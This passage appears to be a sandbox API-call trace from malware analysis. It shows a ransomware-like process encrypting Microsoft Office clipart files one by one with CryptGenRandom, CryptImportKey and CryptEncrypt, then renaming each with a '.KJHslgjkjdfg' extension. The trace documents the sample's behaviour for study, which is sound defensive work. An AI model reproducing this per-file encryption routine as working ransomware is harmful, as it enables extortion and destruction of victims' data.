nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.662] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.662] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.662] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.663] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x27e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x27e0, lpOverlapped=0x0) returned 1 [0185.663] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27e0, dwBufLen=0x27e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27e0) returned 1 [0185.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.664] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x27e0, lpOverlapped=0x0) returned 1 [0185.664] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.664] SetEndOfFile (hFile=0x114) returned 1 [0185.666] GetProcessHeap () returned 0x2a0000 [0185.666] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.666] GetProcessHeap () returned 0x2a0000 [0185.666] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.kjhslgjkjdfg")) returned 1 [0185.668] CloseHandle (hObject=0x114) returned 1 [0185.668] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620ded00, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x620ded00, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02041_.WMF", cAlternateFileName="")) returned 1 [0185.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.669] GetProcessHeap () returned 0x2a0000 [0185.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.669] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.669] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.671] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.671] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.672] GetProcessHeap () returned 0x2a0000 [0185.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.672] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.672] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.672] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.672] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.672] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.672] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.672] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.672] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.673] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.673] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x918, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x918, lpOverlapped=0x0) returned 1 [0185.673] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x920, dwBufLen=0x920 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x920) returned 1 [0185.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.673] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x920, lpOverlapped=0x0) returned 1 [0185.673] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.673] SetEndOfFile (hFile=0x114) returned 1 [0185.676] GetProcessHeap () returned 0x2a0000 [0185.676] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.676] GetProcessHeap () returned 0x2a0000 [0185.676] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.kjhslgjkjdfg")) returned 1 [0185.678] CloseHandle (hObject=0x114) returned 1 [0185.678] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82d6100, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb82d6100, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02066_.WMF", cAlternateFileName="")) returned 1 [0185.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.680] GetProcessHeap () returned 0x2a0000 [0185.680] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.680] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.681] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.683] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.683] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.683] GetProcessHeap () returned 0x2a0000 [0185.683] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.683] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.683] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.683] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.683] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.683] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.683] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.683] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.683] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.683] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.683] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x43c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x43c, lpOverlapped=0x0) returned 1 [0185.683] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x440, dwBufLen=0x440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x440) returned 1 [0185.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.684] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x440, lpOverlapped=0x0) returned 1 [0185.684] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.684] SetEndOfFile (hFile=0x114) returned 1 [0185.686] GetProcessHeap () returned 0x2a0000 [0185.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.686] GetProcessHeap () returned 0x2a0000 [0185.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.kjhslgjkjdfg")) returned 1 [0185.687] CloseHandle (hObject=0x114) returned 1 [0185.687] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3552d900, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3552d900, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02091_.WMF", cAlternateFileName="")) returned 1 [0185.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.689] GetProcessHeap () returned 0x2a0000 [0185.689] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.689] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.689] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.689] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.710] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.710] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.710] GetProcessHeap () returned 0x2a0000 [0185.710] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.710] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.710] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.710] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.710] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.710] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.711] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.711] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.711] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.711] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.711] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x474, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x474, lpOverlapped=0x0) returned 1 [0185.711] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x480, dwBufLen=0x480 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x480) returned 1 [0185.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.711] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x480, lpOverlapped=0x0) returned 1 [0185.711] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.711] SetEndOfFile (hFile=0x114) returned 1 [0185.714] GetProcessHeap () returned 0x2a0000 [0185.714] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.714] GetProcessHeap () returned 0x2a0000 [0185.714] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.kjhslgjkjdfg")) returned 1 [0185.715] CloseHandle (hObject=0x114) returned 1 [0185.715] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38e66000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02092_.WMF", cAlternateFileName="")) returned 1 [0185.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.717] GetProcessHeap () returned 0x2a0000 [0185.717] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.717] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.717] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.719] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.719] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.719] GetProcessHeap () returned 0x2a0000 [0185.719] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.719] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.719] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.719] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.719] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.719] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.719] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.720] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.720] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.720] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.720] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x66c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x66c, lpOverlapped=0x0) returned 1 [0185.720] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x670, dwBufLen=0x670 | out: pbData=0x26c0020*, 